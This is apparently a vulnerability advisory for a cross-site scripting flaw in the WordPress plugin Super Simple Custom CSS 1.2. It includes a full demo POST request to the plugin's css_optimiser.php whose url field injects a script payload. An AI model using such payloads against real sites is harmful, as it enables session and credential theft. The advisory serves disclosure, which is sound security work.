WordPress Super Simple Custom CSS 1.2 Cross Site Scripting

`Class Input Validation Error  
Remote Yes  
  
Credit Ricardo Sanchez  
Vulnerable Super Simple Custom CSS 1.2  
  
Super Simple Custom CSS is prone to a stored cross-site scripting  
vulnerability because it fails to sufficiently sanitize user-supplied data.  
  
An attacker may leverage this issue to execute arbitrary script code in the  
browser of an unsuspecting user in the context of the affected site. This  
may allow the attacker to steal cookie-based authentication credentials and  
to launch other attacks.  
  
To exploit this issue following steps:  
The XSS reflected because the value url is not filter correctly:  
  
  
Demo Request POST:  
  
POST  
/wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php  
HTTP/1.1  
Host: localhost  
Content-Length: 167  
Cache-Control: max-age=0  
Origin: http://localhost  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer:  
http://localhost//wordpress/wp-content/plugins/super-simple-custom-css/css_optimiser.php?template=asdsad  
Accept-Encoding: gzip, deflate  
Accept-Language: es-ES,es;q=0.9  
Cookie:  
Connection: close  
  
css_text=&url=  
</script>"><script>alert("XSS")</script>&template=2&custom=&preserve_css=on&compress_c=on&compress_fw=on&case_properties=1&rbs=on&css_level=CSS2.1&post=  
`